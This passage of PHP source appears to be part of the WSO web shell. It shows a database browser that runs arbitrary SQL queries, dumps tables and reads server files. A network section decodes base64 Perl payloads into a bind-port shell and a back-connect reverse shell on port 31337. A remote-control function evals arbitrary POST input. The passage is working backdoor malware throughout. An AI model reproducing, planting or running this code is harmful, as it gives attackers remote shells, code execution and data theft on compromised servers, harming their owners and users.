1280 $db->setCharset('koi8u');
1281 break;
1282 case "cp866":
1283 $db->setCharset('cp866');
1284 break;
1285 }
1286 $db->listDbs();
1287 echo "<select name=sql_base><option value=''></option>";
1288 while ($item = $db->fetch()) {
1289 list($key, $value) = each($item);
1290 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1291 }
1292 echo '</select>';
1293 } else echo $tmp;
1294 } else echo $tmp;
1295 echo "</td>
1296 <td><input type=submit value='>>'></td>
1297 </tr>
1298 </table>
1299 <script>
1300 function st(t,l) {
1301 document.sf.p1.value = 'select';
1302 document.sf.p2.value = t;
1303 if(l!=null)document.sf.p3.value = l;
1304 document.sf.submit();
1305 }
1306 function is() {
1307 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1308 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1309 }
1310 </script>";
1311 if (isset($db) && $db->link) {
1312 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1313 if (!empty($_POST['sql_base'])) {
1314 $db->selectdb($_POST['sql_base']);
1315 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1316 $tbls_res = $db->listTables();
1317 while ($item = $db->fetch($tbls_res)) {
1318 list($key, $value) = each($item);
1319 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1320 $value = htmlspecialchars($value);
1321 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "')\">" . $value . "</a> (" . $n['n'] . ")</nobr><br>";
1322 }
1323 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1324 if (@$_POST['p1'] == 'select') {
1325 $_POST['p1'] = 'query';
1326 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2'] . '');
1327 $num = $db->fetch();
1328 $num = $num['n'];
1329 echo "<span>" . $_POST['p2'] . "</span> ($num) ";
1330 for ($i = 0;$i < ($num / 30);$i++) if ($i != (int)$_POST['p3']) echo "<a href='#' onclick='st(\"" . $_POST['p2'] . "\", $i)'>", ($i + 1), "</a> ";
1331 else echo ($i + 1), " ";
1332 if ($_POST['type'] == 'pgsql') $_POST['p3'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1333 else $_POST['p3'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1334 echo "<br><br>";
1335 }
1336 if ((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1337 $db->query(@$_POST['p3']);
1338 if ($db->res !== false) {
1339 $title = false;
1340 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1341 $line = 1;
1342 while ($item = $db->fetch()) {
1343 if (!$title) {
1344 echo '<tr>';
1345 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1346 reset($item);
1347 $title = true;
1348 echo '</tr><tr>';
1349 $line = 2;
1350 }
1351 echo '<tr class="l' . $line . '">';
1352 $line = $line == 1 ? 2 : 1;
1353 foreach ($item as $key => $value) {
1354 if ($value == null) echo '<td><i>null</i></td>';
1355 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1356 }
1357 echo '</tr>';
1358 }
1359 echo '</table>';
1360 } else {
1361 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1362 }
1363 }
1364 echo "<br><textarea name='p3' style='width:100%;height:100px'>" . @htmlspecialchars($_POST['p3']) . "</textarea><br/><input type=submit value='Execute'>";
1365 echo "</td></tr>";
1366 }
1367 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1368 if (@$_POST['p1'] == 'loadfile') {
1369 $file = $db->loadFile($_POST['p2']);
1370 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1371 }
1372 }
1373 echo '</div>';
1374 wsoFooter();
1375 }
1376 function actionNetwork() {
1377 wsoHeader();
1378 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1379 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1380 echo "<h1>Network tools</h1><div class=content>
1381 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1382 <span>Bind port to /bin/sh [perl]</span><br/>
1383 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1384 </form>
1385 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1386 <span>Back-connect [perl]</span><br/>
1387 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1388 </form><br>";
1389 if (isset($_POST['p1'])) {
1390 function cf($f, $t) {
1391 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1392 if ($w) {
1393 @fwrite($w, base64_decode($t));
1394 @fclose($w);
1395 }
1396 }
1397 if ($_POST['p1'] == 'bpp') {
1398 cf("/tmp/bp.pl", $bind_port_p);
1399 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1400 echo "<pre class=ml1>$out
1401" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1402 }
1403 if ($_POST['p1'] == 'bcp') {
1404 cf("/tmp/bc.pl", $back_connect_p);
1405 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1406 echo "<pre class=ml1>$out
1407" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1408 }
1409 }
1410 echo '</div>';
1411 wsoFooter();
1412 }
1413 function actionRC() {
1414 if (!@$_POST['p1']) {
1415 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => VERSION, "safemode" => @ini_get('safe_mode'));
1416 echo serialize($a);
1417 } else {
1418 eval($_POST['p1']);
1419 }
1420 }
1421 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1422 else $_POST['a'] = 'SecInfo';
1423 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1424 exit;